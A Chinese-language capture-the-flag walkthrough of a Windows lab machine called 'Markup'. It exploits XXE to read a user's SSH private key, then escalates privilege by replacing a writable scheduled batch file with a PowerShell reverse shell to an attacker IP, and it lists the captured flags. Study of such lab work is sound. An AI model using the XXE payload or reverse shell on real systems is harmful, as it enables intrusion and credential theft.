[StartingPoint][Tier2]Markup
字数 1125 2025-08-19 12:42:22
XXE注入漏洞利用与提权实战教学文档
1. 目标环境侦察
1.1 服务版本识别
使用Nmap扫描目标80端口服务版本:
nmap -sC -sV 10.129.95.192 -p 80
发现Apache版本为2.4.41
1.2 网站登录凭证
通过测试发现有效凭证:
- 用户名:
admin - 密码:
password
1.3 关键页面分析
网站顶部接受用户输入的关键字为:order
2. XML与XXE基础
2.1 XML版本
目标系统使用的XML版本为:1.0
2.2 XXE攻击定义
XXE全称:XML External Entity(XML外部实体注入)
3. XXE漏洞利用实战
3.1 工具准备
使用MXXE工具(已更新至1.2版本):
https://github.com/MartinxMax/MXXE
3.2 敏感文件获取
- 创建payload.txt文件,包含以下内容:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY test SYSTEM 'file:///c:/Users/daniel/.ssh/id_rsa'>
]>
<order>
<quantity>3</quantity>
<item>&test;</item>
<address>17th Estate, CA</address>
</order>
- 执行攻击:
python3 MXXE.py -lh 10.10.16.5 -user Daniel -server windows
3.3 SSH私钥利用
- 保存获取的私钥到id_rsa文件
- 设置适当权限:
chmod 400 id_rsa
- 使用私钥连接:
ssh -i id_rsa Daniel@10.129.95.192
4. 权限提升技术
4.1 发现提权机会
在Log-Management文件夹中发现文件:job.bat
4.2 文件分析
job.bat中提到的可执行文件:wevtutil.exe
4.3 权限检查
使用icacls检查job.bat权限:
icacls job.bat
发现BUILTIN\Users组具有完全控制(F)权限
4.4 计划任务检查
检查系统计划任务:
schtasks
或使用PowerShell:
ps
4.5 反向Shell构造
修改job.bat内容为以下PowerShell反向Shell:
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient('10.10.16.5', 10032); $stream = $client.GetStream(); while($true){ $data = (New-Object System.IO.StreamReader($stream)).ReadLine(); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush() }; $client.Close()"
4.6 文件替换
使用PowerShell下载修改后的job.bat:
Invoke-WebRequest -Uri http://10.10.16.5/job.bat -UseBasicParsing -OutFile job.bat
4.7 监听设置
在攻击机上设置监听:
nc -lvnp 10032
5. 获取Flag
5.1 用户Flag
type C:\Users\Daniel\Desktop\user.txt
得到:032d2fc8952a8c24e39c8f0ee9918ef7
5.2 管理员Flag
type C:/Users/administrator/Desktop/root.txt
得到:f574a3e7650cebd8c39784299cb570f8
6. 关键工具与命令总结
| 工具/命令 | 用途 |
|---|---|
| nmap -sC -sV | 服务版本扫描 |
| MXXE.py | XXE自动化利用工具 |
| chmod 400 | 设置SSH私钥权限 |
| icacls | Windows ACL查看/修改 |
| schtasks | 计划任务管理 |
| wevtutil.exe | Windows事件日志工具 |
| Invoke-WebRequest | PowerShell下载文件 |
| nc -lvnp | Netcat监听 |
7. 安全建议
- 禁用XML外部实体解析
- 限制服务器文件系统访问
- 定期审计计划任务权限
- 避免使用弱密码
- 严格控制SSH私钥权限
- 监控异常进程执行